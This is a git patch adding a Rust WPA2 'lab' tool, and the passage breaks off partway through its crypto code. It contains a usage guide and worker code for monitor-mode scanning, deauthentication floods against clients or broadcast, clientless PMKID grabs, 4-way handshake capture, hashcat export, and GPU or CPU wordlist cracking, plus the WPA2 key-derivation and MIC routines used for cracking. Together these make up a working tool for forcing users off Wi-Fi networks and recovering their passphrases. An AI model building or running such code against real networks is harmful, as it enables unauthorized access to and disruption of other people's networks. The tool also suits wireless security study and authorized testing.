From 108d8703558de171d577bbea4b25761cf6ea9085 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ahmet=20Kaan=20G=C3=BCm=C3=BC=C5=9F?= Date: Mon, 12 Oct 2026 19:14:29 +0300 Subject: [PATCH] =?UTF-8?q?wifilab:=20full=20WPA2=20lab=20=E2=80=94=20scan?= =?UTF-8?q?/deauth/PMKID/handshake=20capture,=20GPU=20SHA1=20cracker=20(wg?= =?UTF-8?q?pu),=20GPUI+gpuikit=20shell?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Cargo.lock | 1 + Cargo.toml | 1 + docs/USAGE.md | 77 ++++ src/backend.rs | 334 +++++++++++++++++ src/common.rs | 8 + src/crypto.rs | 783 +++++++++++++++++++++++++++++++++++++++ src/deauth.rs | 170 +++++++++ src/dot11.rs | 620 +++++++++++++++++++++++++++++++ src/gpu.rs | 887 +++++++++++++++++++++++++++++++++++++++++++++ src/handshake.rs | 576 +++++++++++++++++++++++++++++ src/iface.rs | 209 +++++++++++ src/main.rs | 58 ++- src/pbkdf2.wgsl | 285 +++++++++++++++ src/pmkid.rs | 171 +++++++++ src/radiotap.rs | 211 +++++++++++ src/rawsock.rs | 171 +++++++++ src/scanner.rs | 475 ++++++++++++++++++++++++ src/ui/app.rs | 512 ++++++++++++++++++++++++++ src/ui/attacks.rs | 497 +++++++++++++++++++++++++ src/ui/cracker.rs | 317 ++++++++++++++++ src/ui/log.rs | 52 +++ src/ui/mock.rs | 257 +++++++++++++ src/ui/mod.rs | 106 ++++++ src/ui/networks.rs | 294 +++++++++++++++ src/ui/state.rs | 168 +++++++++ src/wordlist.rs | 88 +++++ 26 files changed, 7320 insertions(+), 8 deletions(-) create mode 100644 docs/USAGE.md create mode 100644 src/backend.rs create mode 100644 src/pbkdf2.wgsl create mode 100644 src/ui/app.rs create mode 100644 src/ui/attacks.rs create mode 100644 src/ui/cracker.rs create mode 100644 src/ui/log.rs create mode 100644 src/ui/mock.rs create mode 100644 src/ui/mod.rs create mode 100644 src/ui/networks.rs create mode 100644 src/ui/state.rs diff --git a/Cargo.lock b/Cargo.lock index f07df6f..5dfca0b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -6878,6 +6878,7 @@ dependencies = [ "byteorder", "clap", "crossbeam-channel", + "gpui-platform-gpui-unofficial", "gpui-unofficial", "gpuikit", "hmac 0.12.1", diff --git a/Cargo.toml b/Cargo.toml index 68b714a..2d691a6 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -8,6 +8,7 @@ license = "MIT" # GPUI UI (gpuikit's pinned gpui fork) # gpuikit 0.9.0 predates API drift in newer gpui-unofficial builds — pin exact. gpui = { package = "gpui-unofficial", version = "=1.14.2" } +gpui_platform = { package = "gpui-platform-gpui-unofficial", version = "=1.14.2" } gpuikit = "0.9.0" # GPU compute (PBKDF2-SHA1 handshake cracker) diff --git a/docs/USAGE.md b/docs/USAGE.md new file mode 100644 index 0000000..665359f --- /dev/null +++ b/docs/USAGE.md @@ -0,0 +1,77 @@ +# wifilab — usage + +WPA/WPA2 lab tool: passive scan → capture a 4-way handshake or PMKID → +crack it on the GPU (CPU fallback). Single binary, GPUI shell. + +## Running + +The real backend is the default and requires root: + +```sh +cargo build --release +sudo ./target/release/wifilab --iface wlp14s0 +``` + +- `--iface ` picks the wireless interface (default: first detected + wireless interface, falling back to `wlp14s0`). The header bar's picker + can also switch interfaces while capture is stopped. +- `--mock` (or `WIFILAB_MOCK=1`) runs the UI against fabricated events — + no device access, for development only. +- On startup the tool prints one line: mode, interface, root status. + Not root? The badge shows it and a toast warns once — the UI stays + usable, but every attack will fail with errors in the Log page. + +The tool does **not** kill or stop anything on your system. If +NetworkManager/wpa_supplicant grab the interface (channel changes fail, +no packets), stop them yourself, e.g.: + +```sh +sudo systemctl stop NetworkManager # optional, only if attacks misbehave +``` + +## Workflow + +1. **Start capture (monitor)** — switches the interface to monitor mode + (creates `mon` on drivers that can't switch in place) and starts + the channel hopper. APs and clients stream into the Networks page. +2. Click the target network (e.g. *parafin*) in the AP table — or click a + client row to select the (AP, client) pair. +3. **Attacks** page: + - **Capture Handshake** — parks on the target channel and tracks EAPOL + 4-way exchanges; `M1..M4` progress shows live until a crackable + M1+M2 pair lands. + - **Deauth** — forces a client (the selected one, or broadcast) to + re-authenticate so the handshake capture above completes fast. Count + comes from the input next to the button. Deauth while capturing is + the intended combo: keep both on the same channel (the UI targets a + single AP, so this is automatic). + - **PMKID Attack** — clientless: auth+assoc from the monitor + interface's own MAC and read the PMKID from the AP's M1. Many APs + don't volunteer one — the log tells you either way. + - **Export .hc22000** — writes every capture in hashcat 22000 format. +4. **Cracker** page — stop capture first (the cracker holds the wordlist + stream for a long time; radio access is exclusive). Pick the capture, + point the wordlist field at e.g. `/usr/share/wordlists/rockyou.txt`, + hit **Start**. Live H/s and candidate count stream in. **Stop** flips + the job's stop flag and the worker exits at the next batch. +5. Everything the backend does is mirrored on the **Log** page, including + worker errors (permissions, channel-change failures, wordlist open + failures). + +On exit (window close) all workers are stopped and the interface is +restored to managed mode (the `mon` vif is deleted if one was +created). + +## Cracking backends + +The cracker prefers the GPU (wgpu/Vulkan compute; works headless, e.g. +radv). `GpuCracker::try_new()` returns `None` when no suitable adapter +exists and the run transparently falls back to the CPU reference cracker — +the log line says which backend is active. WPA passphrases 8..63 bytes; +wordlist lines are trimmed/streamed, huge files are fine. + +## Files + +- Captures export to `./captures/wifilab-.hc22000` (or the path chosen + in the save dialog) in hashcat `-m 22000` format — one `WPA*02` line per + handshake, one `WPA*01` line per PMKID. diff --git a/src/backend.rs b/src/backend.rs new file mode 100644 index 0000000..9563e39 --- /dev/null +++ b/src/backend.rs @@ -0,0 +1,334 @@ +//! Backend orchestrator: owns the interface mode switch and every worker +//! thread (scanner, deauth, PMKID grab, 4-way capture, cracker). All +//! workers share a single stop flag and report over the UI event channel; +//! the UI stores one `Backend` and drops/shuts it down on window close. +//! +//! Concurrency notes: +//! - The scanner and any attack worker can coexist (deauth while capturing +//! is the whole point). Attack workers open their OWN [`RawSocket`] on +//! the monitor interface and set the channel themselves; concurrent +//! attacks should therefore target the SAME channel — this matches the +//! UI, which implies a single target. +//! - `to_monitor` may create a `mon` vif; the actual monitor ifname +//! is remembered and passed to [`iface::to_managed`] on shutdown +//! (it deletes the vif or flips the interface back, as appropriate). + +use std::path::PathBuf; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex}; +use std::thread::JoinHandle; + +use anyhow::{Context, Result}; +use crossbeam_channel::Sender; + +use crate::common::{Event, MacAddr}; +use crate::crypto::CrackTarget; +use crate::gpu::{self, GpuCracker}; +use crate::rawsock::RawSocket; +use crate::{deauth, handshake, iface, pmkid, scanner, wordlist}; + +fn send(tx: &Sender, ev: Event) { + let _ = tx.send(ev); +} + +fn log(tx: &Sender, msg: impl Into) { + send(tx, Event::Log(msg.into())); +} + +fn log_err(tx: &Sender, msg: impl Into) { + send(tx, Event::Error(msg.into())); +} + +pub struct Backend { + stop: Arc, + handles: Mutex>>, + /// Name of the interface currently in monitor mode (`None` if the + /// mode switch failed at start — nothing to restore then). + mon_ifname: Option, + /// Interface the user selected; restored to managed mode on shutdown + /// when it differs from `mon_ifname`. + orig_ifname: String, + /// Stop flag of the currently running crack job (if any). Kept + /// separate from `stop` so "Stop" on the cracker page doesn't kill + /// the radio workers and `shutdown` can kill both. + crack_stop: Mutex>>, +} + +impl Backend { + /// Switch `ifname` to monitor mode and start the channel-hopping + /// scanner (full 2.4 + 5 GHz hop list). On any failure an + /// [`Event::Error`] is emitted, the interface is put back into managed + /// mode, and `Err` is returned. + pub fn start_scan(ifname: &str, tx: Sender) -> Result { + let mon_ifname = match iface::to_monitor(ifname) { + Ok(name) => name, + Err(e) => { + log_err(&tx, format!("monitor mode on {ifname} failed: {e:#}")); + // Best effort: leave the box the way we found it. + let _ = iface::to_managed(ifname); + return Err(e).context(format!("to_monitor({ifname})")); + } + }; + let be = Backend { + stop: Arc::new(AtomicBool::new(false)), + handles: Mutex::new(Vec::new()), + mon_ifname: Some(mon_ifname.clone()), + orig_ifname: ifname.to_string(), + crack_stop: Mutex::new(None), + }; + log(&tx, format!("monitor mode up on {mon_ifname} (was {ifname})")); + + let cfg = scanner::ScannerConfig { + ifname: mon_ifname, + channels: Vec::new(), // empty = full hop list + dwell_ms: 100, + rssi_floor: -95, + }; + let stop = be.stop.clone(); + let h = std::thread::Builder::new() + .name("wifilab-scanner".into()) + .spawn(move || { + if let Err(e) = scanner::run(cfg, tx.clone(), stop) { + log_err(&tx, format!("scanner stopped: {e:#}")); + } + }) + .context("spawning scanner thread")?; + be.handles.lock().expect("handles poisoned").push(h); + Ok(be) + } + + fn mon(&self) -> String { + self.mon_ifname + .clone() + .unwrap_or_else(|| self.orig_ifname.clone()) + } + + /// Register a worker thread so [`Backend::shutdown`] joins it. The + /// worker closure takes ownership of an event channel clone; on spawn + /// failure the error is reported on the caller's `tx`. + fn spawn( + &self, + name: &str, + tx: &Sender, + what: &str, + f: impl FnOnce(Sender) + Send + 'static, + ) -> bool { + let worker_tx = tx.clone(); + match std::thread::Builder::new() + .name(name.to_string()) + .spawn(move || f(worker_tx)) + { + Ok(h) => { + self.handles.lock().expect("handles poisoned").push(h); + true + } + Err(e) => { + log_err(tx, format!("{what}: spawn failed: {e}")); + false + } + } + } + + /// Ask the running crack job (if any) to stop. Independent of the + /// radio stop flag: killing capture should not need a wordlist stream + /// to die with it. + pub fn request_crack_stop(&self) { + if let Some(flag) = &*self.crack_stop.lock().expect("crack_stop poisoned") { + flag.store(true, Ordering::Relaxed); + } + } + + /// Deauth worker: opens its own raw socket on the monitor interface, + /// tunes it to `channel`, then blasts `count` deauth rounds at + /// `target` (broadcast allowed). Emits DeauthSent progress (via + /// [`deauth::blast`]) and a final summary log. + pub fn deauth( + &self, + ap: MacAddr, + target: MacAddr, + channel: u8, + count: u32, + tx: Sender, + ) { + let mon = self.mon(); + self.spawn("wifilab-deauth", &tx, "deauth", move |tx| { + let sock = match RawSocket::open(&mon) { + Ok(s) => s, + Err(e) => { + log_err(&tx, format!("deauth: raw socket on {mon} failed: {e}")); + return; + } + }; + if let Err(e) = iface::set_channel(&mon, channel) { + // Not fatal: the capture worker is usually already parked + // on the right channel. + log(&tx, format!("deauth: set_channel {channel} failed: {e:#}")); + } + match deauth::blast(&sock, &ap, &target, count, &tx) { + Ok(sent) => log(&tx, format!("deauth: done, {sent} frames → {target}")), + Err(e) => log_err(&tx, format!("deauth: {e:#}")), + } + }); + } + + /// PMKID grab worker: single client-less auth+assoc attempt against + /// `ap`, impersonating the monitor interface's own MAC. Emits + /// PmkidCaptured or a "no PMKID" log line. + pub fn pmkid(&self, ap: MacAddr, channel: u8, essid: String, tx: Sender) { + let mon = self.mon(); + self.spawn("wifilab-pmkid", &tx, "pmkid", move |tx| { + let sta = match iface::mac_of(&mon) { + Ok(m) => m, + Err(e) => { + log_err(&tx, format!("pmkid: own MAC of {mon}: {e:#}")); + return; + } + }; + let sock = match RawSocket::open(&mon) { + Ok(s) => s, + Err(e) => { + log_err(&tx, format!("pmkid: raw socket on {mon} failed: {e}")); + return; + } + }; + if let Err(e) = iface::set_channel(&mon, channel) { + log(&tx, format!("pmkid: set_channel {channel} failed: {e:#}")); + } + match pmkid::grab(&sock, &ap, &sta, &essid, &tx) { + Ok(Some(cap)) => send(&tx, Event::PmkidCaptured(cap)), + Ok(None) => log(&tx, format!("pmkid: no PMKID volunteered by {ap}")), + Err(e) => log_err(&tx, format!("pmkid: {e:#}")), + } + }); + } + + /// 4-way capture worker: tune the monitor interface to `channel`, open + /// a raw socket, and run [`handshake::capture_loop`] (stop flag + /// checked every 250 ms frame poll). [`Event::HandshakeComplete`] is + /// emitted from inside the loop when a crackable pair completes. + pub fn capture_hs(&self, ap: MacAddr, channel: u8, essid: String, tx: Sender) { + let mon = self.mon(); + let stop = self.stop.clone(); + self.spawn("wifilab-capture", &tx, "handshake", move |tx| { + if let Err(e) = iface::set_channel(&mon, channel) { + log_err(&tx, format!("handshake: set_channel {channel} on {mon}: {e:#}")); + return; + } + let sock = match RawSocket::open(&mon) { + Ok(s) => s, + Err(e) => { + log_err(&tx, format!("handshake: raw socket on {mon} failed: {e}")); + return; + } + }; + match handshake::capture_loop(&sock, ap, &essid, &tx, &stop) { + Ok(true) => {} + Ok(false) => log(&tx, format!("handshake: capture ended without a pair ({ap})")), + Err(e) => log_err(&tx, format!("handshake: {e:#}")), + } + }); + } + + /// Crack worker: stream `wordlist` through the GPU cracker (CPU + /// fallback when no adapter) against `target`. Emits CrackProgress, + /// then exactly one terminator: CrackFound + CrackStopped{found:true} + /// on success, CrackStopped{found:false} on stop or wordlist + /// exhaustion. + pub fn crack( + &self, + target_desc: String, + target: CrackTarget, + wordlist: PathBuf, + tx: Sender, + ) { + // Cracking has its own stop flag (cracker-page Stop) but shutdown + // kills it too (see stop_workers/Drop, which set both). + let stop = Arc::new(AtomicBool::new(false)); + *self.crack_stop.lock().expect("crack_stop poisoned") = Some(stop.clone()); + self.spawn("wifilab-crack", &tx, "cracker", move |tx| { + let words = match wordlist::open(&wordlist) { + Ok(w) => w, + Err(e) => { + log_err(&tx, format!("cracker: {e:#}")); + send(&tx, Event::CrackStopped { found: false }); + return; + } + }; + let mut words = words; + let mut progress = { + let tx = tx.clone(); + move |done: u64, hps: f64| send(&tx, Event::CrackProgress { done, hps }) + }; + let found = match GpuCracker::try_new() { + Some(g) => { + log( + &tx, + format!("cracker: GPU backend: {} — cracking {target_desc}", g.device_name()), + ); + g.crack(&target, &mut words, &mut progress, &stop) + } + None => { + log( + &tx, + format!("cracker: no GPU adapter, CPU fallback — cracking {target_desc}"), + ); + gpu::cpu_crack(&target, &mut words, &mut progress, &stop) + } + }; + match found { + Some(password) => { + log(&tx, format!("cracker: PASSWORD found: {password}")); + send(&tx, Event::CrackFound { password }); + send(&tx, Event::CrackStopped { found: true }); + } + None => { + if stop.load(Ordering::Relaxed) { + log(&tx, "cracker: stopped"); + } else { + log(&tx, "cracker: wordlist exhausted, password not found"); + } + send(&tx, Event::CrackStopped { found: false }); + } + } + }); + } + + /// Stop every worker, restore the original interface to managed mode + /// (deleting the `mon` vif if one was created), and join all + /// threads. Idempotent: safe to call more than once / from `Drop`. + pub fn shutdown(self) { + self.stop_workers(); + } + + /// Inner shutdown shared with `Drop` (which cannot move `self`). + fn stop_workers(&self) { + self.stop.store(true, Ordering::Release); + self.request_crack_stop(); + if let Some(mon) = &self.mon_ifname { + if let Err(e) = iface::to_managed(mon) { + eprintln!("wifilab: to_managed({mon}) failed: {e:#}"); + } + } + let handles = std::mem::take(&mut *self.handles.lock().expect("handles poisoned")); + for h in handles { + let _ = h.join(); + } + } +} + +impl Drop for Backend { + /// Panic-safe mirror of [`Backend::shutdown`] — same steps, ignores + /// errors silently as far as possible; never panics itself. + fn drop(&mut self) { + self.stop.store(true, Ordering::Release); + self.request_crack_stop(); + if let Some(mon) = &self.mon_ifname { + let _ = iface::to_managed(mon); + } + if let Ok(mut guard) = self.handles.lock() { + for h in std::mem::take(&mut *guard) { + let _ = h.join(); + } + } + } +} diff --git a/src/common.rs b/src/common.rs index 4c3a2f7..03ef5d0 100644 --- a/src/common.rs +++ b/src/common.rs @@ -174,6 +174,14 @@ pub enum Event { PmkidCaptured(PmkidCapture), /// Count of deauth/disassoc frames actually written to the wire. DeauthSent { ap: MacAddr, target: MacAddr, count: u64 }, + /// Candidates checked so far (`done`) and current throughput (`hps`) + /// of a running crack job. + CrackProgress { done: u64, hps: f64 }, + /// A crack job recovered the passphrase. + CrackFound { password: String }, + /// The active crack job ended: `found` distinguishes success from + /// exhaustion/user-stop (emitted after [`Event::CrackFound`] too). + CrackStopped { found: bool }, Log(String), Error(String), } diff --git a/src/crypto.rs b/src/crypto.rs index e69de29..154734f 100644 --- a/src/crypto.rs +++ b/src/crypto.rs @@ -0,0 +1,783 @@ +//! CPU reference implementation of WPA2-PSK cryptographic primitives: +//! PBKDF2-SHA1 PMK derivation, 802.11 §12.7.1.2 PRF-512 PTK expansion, +//! EAPOL-Key MIC (HMAC-SHA1-128 and hand-rolled AES-128-CMAC), PMKID hash, +//! verification and hashcat 22000 line parsing. + +use anyhow::{Context, Result, anyhow, bail}; + +use crate::common::{HandshakeCapture, MacAddr, PmkidCapture}; + +/// Something the cracker can attack: a 4-way handshake or a PMKID. +#[derive(Clone, Debug)] +pub enum CrackTarget { + Handshake(HandshakeCapture), + Pmkid(PmkidCapture), +} + +impl CrackTarget { + pub fn essid(&self) -> &str { + match self { + CrackTarget::Handshake(h) => &h.essid, + CrackTarget::Pmkid(p) => &p.essid, + } + } + + pub fn describe(&self) -> String { + match self { + CrackTarget::Handshake(h) => format!( + "handshake ap={} sta={} essid=\"{}\" key_ver={}", + h.ap, h.client, h.essid, h.key_ver + ), + CrackTarget::Pmkid(p) => { + format!("pmkid ap={} sta={} essid=\"{}\"", p.ap, p.client, p.essid) + } + } + } +} + +/// PBKDF2-HMAC-SHA1 with a 20-byte digest per block. Implemented by hand so +/// we don't depend on the pbkdf2 crate re-exports lining up with the local +/// sha1/hmac versions (digest 0.10 vs 0.11 drift); c=4096 is the caller's +/// problem, this version is generic. +pub fn pbkdf2_hmac_sha1(pass: &[u8], salt: &[u8], iterations: u32, out: &mut [u8]) { + use hmac::{Hmac, Mac}; + for (i, chunk) in out.chunks_mut(20).enumerate() { + let idx = (i + 1) as u32; + let mut mac = as Mac>::new_from_slice(pass) + .expect("HMAC-SHA1 accepts any key length"); + mac.update(salt); + mac.update(&idx.to_be_bytes()); + let mut u = mac.finalize().into_bytes(); + let mut t = u; + for _ in 1..iterations { + let mut mac = as Mac>::new_from_slice(pass).expect("hmac"); + mac.update(&u); + u = mac.finalize().into_bytes(); + for (tb, ub) in t.iter_mut().zip(u.iter()) { + *tb ^= ub; + } + } + let n = chunk.len(); + chunk.copy_from_slice(&t[..n]); + } +} + +/// PMK = PBKDF2-HMAC-SHA1(pass, ssid, 4096, 32). +pub fn pmk(pass: &[u8], ssid: &[u8]) -> [u8; 32] { + let mut out = [0u8; 32]; + pbkdf2_hmac_sha1(pass, ssid, 4096, &mut out); + out +} + +/// PTK derivation per 802.11-2016 §12.7.1.2 (PRF-512): +/// HMAC-SHA1(pmk, "Pairwise key expansion" || 0x00 || A || B || i) for i in 1.., +/// with A = min(ap,sta)||max(ap,sta), B = min(anonce,snonce)||max(anonce,snonce). +pub fn ptk( + pmk: &[u8; 32], + ap: &MacAddr, + sta: &MacAddr, + anonce: &[u8; 32], + snonce: &[u8; 32], +) -> [u8; 64] { + use hmac::{Hmac, Mac}; + + let mut a_pair = [0u8; 12]; + if ap.0 <= sta.0 { + a_pair[..6].copy_from_slice(&ap.0); + a_pair[6..].copy_from_slice(&sta.0); + } else { + a_pair[..6].copy_from_slice(&sta.0); + a_pair[6..].copy_from_slice(&ap.0); + } + let mut b_pair = [0u8; 64]; + if anonce <= snonce { + b_pair[..32].copy_from_slice(anonce); + b_pair[32..].copy_from_slice(snonce); + } else { + b_pair[..32].copy_from_slice(snonce); + b_pair[32..].copy_from_slice(anonce); + } + + // "Pairwise key expansion" || 0x00 || A || B || i + let mut msg = Vec::with_capacity(22 + 1 + 12 + 64 + 1); + msg.extend_from_slice(b"Pairwise key expansion"); + msg.push(0u8); + msg.extend_from_slice(&a_pair); + msg.extend_from_slice(&b_pair); + let stem_len = msg.len(); + msg.push(0u8); // PRF counter byte, rewritten per round below + + let mut out = [0u8; 64]; + for (i, chunk) in out.chunks_mut(20).enumerate() { + msg[stem_len] = (i + 1) as u8; + let mut mac = as Mac>::new_from_slice(pmk) + .expect("HMAC-SHA1 accepts any key length"); + mac.update(&msg); + let digest = mac.finalize().into_bytes(); + chunk.copy_from_slice(&digest[..chunk.len()]); + } + out +} + +/// EAPOL-Key MIC. Zeroes bytes 81..97 of a copy of `eapol` (the MIC field +/// offset in a well-formed EAPOL-Key frame; short frames are left untouched), +/// then: key_ver 1|2 → HMAC-SHA1 keyed with KCK and truncated to 16 bytes, +/// key_ver 3 → AES-128-CMAC over IGTK||0^64||frame. +pub fn mic(ptk: &[u8; 64], eapol: &[u8], key_ver: u8) -> [u8; 16] { + use hmac::{Hmac, Mac}; + + let mut data = eapol.to_vec(); + const MIC_OFF: usize = 81; + const MIC_LEN: usize = 16; + if data.len() >= MIC_OFF + MIC_LEN { + data[MIC_OFF..MIC_OFF + MIC_LEN].fill(0); + } + + if key_ver == 3 { + // key_mic_len = 16 → blk_key = IGTK||0x00*8. EAPOL frames are never + // zero-length (header is 4 bytes), but the multi-block path covers + // len ≡ 0 mod 16 correctly either way. + let mut key = [0u8; 16]; + key[..8].copy_from_slice(&ptk[48..56]); + cmac_aes128(&key, &data) + } else { + let mut mac = + as Mac>::new_from_slice(&ptk[..16]).expect("KCK is 16 bytes"); + mac.update(&data); + let digest = mac.finalize().into_bytes(); + let mut out = [0u8; 16]; + out.copy_from_slice(&digest[..16]); + out + } +} + +/// PMKID = HMAC-SHA1-128(pmk, "PMK Name" || ap || sta). +pub fn pmkid_hash(pmk: &[u8; 32], ap: &MacAddr, sta: &MacAddr) -> [u8; 16] { + use hmac::{Hmac, Mac}; + let mut mac = as Mac>::new_from_slice(pmk).expect("PMK is 32 bytes"); + mac.update(b"PMK Name"); + mac.update(&ap.0); + mac.update(&sta.0); + let digest = mac.finalize().into_bytes(); + let mut out = [0u8; 16]; + out.copy_from_slice(&digest[..16]); + out +} + +/// Constant-time equality of 16-byte buffers. +pub fn ct_eq16(a: &[u8; 16], b: &[u8; 16]) -> bool { + let mut diff = 0u8; + for i in 0..16 { + diff |= a[i] ^ b[i]; + } + diff == 0 +} + +/// Verify `pass` against the capture. Handshake MICs compare in constant +/// time. +pub fn verify(target: &CrackTarget, pass: &[u8]) -> bool { + let key = pmk(pass, target.essid().as_bytes()); + match target { + CrackTarget::Handshake(h) => { + let dk = ptk(&key, &h.ap, &h.client, &h.anonce, &h.snonce); + let got = mic(&dk, &h.eapol_m2, h.key_ver); + ct_eq16(&got, h.mic()) + } + CrackTarget::Pmkid(p) => { + let got = pmkid_hash(&key, &p.ap, &p.client); + ct_eq16(&got, &p.pmkid) + } + } +} + +fn unhex_field(s: &str, name: &str) -> Result> { + if s.is_empty() || s.len() % 2 != 0 || !s.bytes().all(|b| b.is_ascii_hexdigit()) { + bail!("{name}: not even-length hex"); + } + (0..s.len()) + .step_by(2) + .map(|i| u8::from_str_radix(&s[i..i + 2], 16).map_err(anyhow::Error::from)) + .collect::, _>>() + .with_context(|| format!("{name}: bad hex")) +} + +fn unhex_array(s: &str, name: &str) -> Result<[u8; N]> { + let v = unhex_field(s, name)?; + <[u8; N]>::try_from(v.as_slice()).map_err(|_| anyhow!("{name}: expected {N} bytes")) +} + +fn parse_mac(s: &str) -> Result { + Ok(MacAddr(unhex_array::<6>(s, "mac")?)) +} + +/// Parse one hashcat -m 22000 line: +/// 01*PMKID*MAC_AP*MAC_CLIENT*ESSID(hex)*** (PMKID) +/// 02*MIC*MAC_AP*MAC_CLIENT*ESSID(hex)*ANONCE*EAPOL(hex)*... (EAPOL) +pub fn parse_hc22000(line: &str) -> Result { + let line = line.trim(); + let fields: Vec<&str> = line.split('*').collect(); + if fields.len() < 5 { + bail!("hc22000: too few fields"); + } + match fields[0] { + "01" => { + let pmkid = unhex_array::<16>(fields[1], "pmkid")?; + let ap = parse_mac(fields[2])?; + let client = parse_mac(fields[3])?; + let essid_bytes = unhex_field(fields[4], "essid")?; + let essid = + String::from_utf8(essid_bytes).context("hc22000: essid not valid utf-8")?; + Ok(CrackTarget::Pmkid(PmkidCapture { + ap, + client, + essid, + pmkid, + })) + } + "02" => { + if fields.len() < 7 { + bail!("hc22000 type 02: need mic*ap*client*essid*anonce*eapol"); + } + let mic_bytes = unhex_array::<16>(fields[1], "mic")?; + let ap = parse_mac(fields[2])?; + let client = parse_mac(fields[3])?; + let essid_bytes = unhex_field(fields[4], "essid")?; + let essid = + String::from_utf8(essid_bytes).context("hc22000: essid not valid utf-8")?; + let anonce = unhex_array::<32>(fields[5], "anonce")?; + let eapol = unhex_field(fields[6], "eapol")?; + if eapol.len() < 99 { + bail!("hc22000: eapol frame too short to carry key data"); + } + // Recover snonce (offset 17..49 of EAPOL-Key frame) and key MIC + // version (low bits of big-endian key_info at 5..7). + let snonce = <[u8; 32]>::try_from(&eapol[17..49]).expect("slice checked"); + let key_info = u16::from_be_bytes([eapol[5], eapol[6]]); + let key_ver = (key_info & 0x7) as u8; + Ok(CrackTarget::Handshake(HandshakeCapture::new( + ap, client, essid, anonce, snonce, mic_bytes, eapol, key_ver, + ))) + } + other => bail!("hc22000: unsupported message pair type {other}"), + } +} + +// --------------------------------------------------------------------------- +// AES-128 + CMAC (RFC 4493), hand-rolled. The S-box is derived arithmetically +// in GF(2^8) via log/exp tables for generator 0x03 (multiplicative inverse, +// then the AES affine transform) — no 256-entry constant to typo. +// MixColumns uses xtime-based constant multiples. +// --------------------------------------------------------------------------- + +struct AesTables { + sbox: [u8; 256], + mul2: [u8; 256], + mul3: [u8; 256], +} + +fn xtime(x: u8) -> u8 { + let x2 = x << 1; + if x & 0x80 != 0 { x2 ^ 0x1b } else { x2 } +} + +fn gf_mul(mut a: u8, mut b: u8) -> u8 { + let mut r = 0u8; + while b != 0 { + if b & 1 != 0 { + r ^= a; + } + a = xtime(a); + b >>= 1; + } + r +} + +impl AesTables { + fn new() -> Self { + let mut exp = [0u8; 256]; + let mut log = [0u8; 256]; + let mut v = 1u8; + // 0x03 is a generator of GF(2^8) under AES reduction. + for i in 0..255usize { + exp[i] = v; + log[v as usize] = i as u8; + v = gf_mul(v, 0x03); + } + exp[255] = 1; // generator cycle has length 255; wrap entry + + let mut sbox = [0u8; 256]; + for (x, slot) in sbox.iter_mut().enumerate() { + let inv = if x == 0 { + 0u8 + } else { + exp[(255usize - log[x] as usize) % 255] + }; + *slot = inv + ^ inv.rotate_left(1) + ^ inv.rotate_left(2) + ^ inv.rotate_left(3) + ^ inv.rotate_left(4) + ^ 0x63; + } + + let mut t = AesTables { + sbox, + mul2: [0u8; 256], + mul3: [0u8; 256], + }; + for x in 0..256usize { + t.mul2[x] = gf_mul(x as u8, 2); + t.mul3[x] = gf_mul(x as u8, 3); + } + t + } +} + +struct Aes128 { + rk: [u8; 176], + t: AesTables, +} + +impl Aes128 { + fn new(key: &[u8; 16]) -> Self { + let t = AesTables::new(); + let mut rk = [0u8; 176]; + rk[..16].copy_from_slice(key); + let mut i = 4usize; // words generated + while i < 44 { + let mut w = [ + rk[4 * i - 4], + rk[4 * i - 3], + rk[4 * i - 2], + rk[4 * i - 1], + ]; + if i % 4 == 0 { + // RotWord + SubWord + Rcon + w.rotate_left(1); + for b in w.iter_mut() { + *b = t.sbox[*b as usize]; + } + w[0] ^= rcon_for_round(i / 4); + } + for j in 0..4 { + rk[4 * i + j] = rk[4 * (i - 4) + j] ^ w[j]; + } + i += 1; + } + Aes128 { rk, t } + } + + fn encrypt_block(&self, input: &[u8; 16]) -> [u8; 16] { + let mut s = *input; + add_round_key(&mut s, &self.rk[0..16]); + for r in 1..10 { + sub_bytes(&mut s, &self.t.sbox); + shift_rows(&mut s); + mix_columns(&mut s, &self.t); + add_round_key(&mut s, &self.rk[16 * r..16 * r + 16]); + } + sub_bytes(&mut s, &self.t.sbox); + shift_rows(&mut s); + add_round_key(&mut s, &self.rk[160..176]); + s + } +} + +fn rcon_for_round(round: usize) -> u8 { + // Rcon[1..=10] = 01,02,04,08,10,20,40,80,1b,36 + const RCON: [u8; 11] = [0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]; + RCON[round] +} + +fn add_round_key(s: &mut [u8; 16], rk: &[u8]) { + for i in 0..16 { + s[i] ^= rk[i]; + } +} + +fn sub_bytes(s: &mut [u8; 16], sbox: &[u8; 256]) { + for b in s.iter_mut() { + *b = sbox[*b as usize]; + } +} + +fn shift_rows(s: &mut [u8; 16]) { + // state is column-major: s[c*4 + r] + let t = *s; + for r in 1..4 { + for c in 0..4 { + s[c * 4 + r] = t[((c + r) % 4) * 4 + r]; + } + } +} + +fn mix_columns(s: &mut [u8; 16], t: &AesTables) { + for c in 0..4 { + let i = c * 4; + let (a0, a1, a2, a3) = (s[i], s[i + 1], s[i + 2], s[i + 3]); + s[i] = t.mul2[a0 as usize] ^ t.mul3[a1 as usize] ^ a2 ^ a3; + s[i + 1] = a0 ^ t.mul2[a1 as usize] ^ t.mul3[a2 as usize] ^ a3; + s[i + 2] = a0 ^ a1 ^ t.mul2[a2 as usize] ^ t.mul3[a3 as usize]; + s[i + 3] = t.mul3[a0 as usize] ^ a1 ^ a2 ^ t.mul2[a3 as usize]; + } +} + +/// AES-128-CMAC per RFC 4493. +pub fn cmac_aes128(key: &[u8; 16], msg: &[u8]) -> [u8; 16] { + let aes = Aes128::new(key); + let l = aes.encrypt_block(&[0u8; 16]); + let k1 = dbl(l); + let k2 = dbl(k1); + + let n = msg.len().div_ceil(16).max(1); + let complete = !msg.is_empty() && msg.len() % 16 == 0; + + let mut m_last = [0u8; 16]; + if complete { + m_last.copy_from_slice(&msg[16 * (n - 1)..]); + for i in 0..16 { + m_last[i] ^= k1[i]; + } + } else { + let rem = if msg.is_empty() { 0 } else { msg.len() % 16 }; + let start = if msg.is_empty() { 0 } else { msg.len() - rem }; + m_last[..rem].copy_from_slice(&msg[start..]); + m_last[rem] = 0x80; + for i in 0..16 { + m_last[i] ^= k2[i]; + } + } + + let mut x = [0u8; 16]; + for i in 0..n - 1 { + let block = &msg[16 * i..16 * i + 